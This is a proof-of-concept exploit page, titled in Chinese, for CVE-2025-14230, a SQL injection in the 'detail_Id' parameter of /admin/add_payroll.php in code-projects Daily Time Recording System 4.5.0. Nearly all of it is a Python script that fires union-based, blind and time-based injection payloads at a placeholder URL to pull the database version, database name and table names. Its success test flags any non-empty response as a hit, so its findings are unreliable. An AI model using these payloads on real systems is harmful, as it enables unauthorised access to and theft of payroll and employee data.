CVE-2025-14230 Daily Time Recording System SQL注入漏洞

# CVE-2025-14230 SQL Injection PoC # Target: code-projects Daily Time Recording System 4.5.0 # File: /admin/add_payroll.php # Parameter: detail_Id import requests import sys target_url = "http://target-site.com/admin/add_payroll.php" # SQL Injection payloads payloads = [ # Basic injection - error-based "1' OR '1'='1", # Union-based injection "1' UNION SELECT NULL-- -", "1' UNION SELECT NULL,NULL,NULL-- -", # Boolean-based blind injection "1' AND 1=1-- -", "1' AND 1=2-- -", # Time-based blind injection "1' AND SLEEP(5)-- -", # Extract database version "1' UNION SELECT NULL,@@version,NULL-- -", # Extract current database "1' UNION SELECT NULL,database(),NULL-- -", # Extract users table "1' UNION SELECT NULL,group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema=database()-- -", ] def test_injection(payload): params = { 'detail_Id': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def main(): print("[*] CVE-2025-14230 SQL Injection Testing") print(f"[*] Target: {target_url}") for payload in payloads: print(f"\n[+] Testing payload: {payload}") result = test_injection(payload) if result and ('sql' in result.lower() or 'error' in result.lower() or len(result) > 0): print(f"[+] Potential vulnerability detected with payload: {payload}") print(f"[+] Response length: {len(result)}") if __name__ == "__main__": main()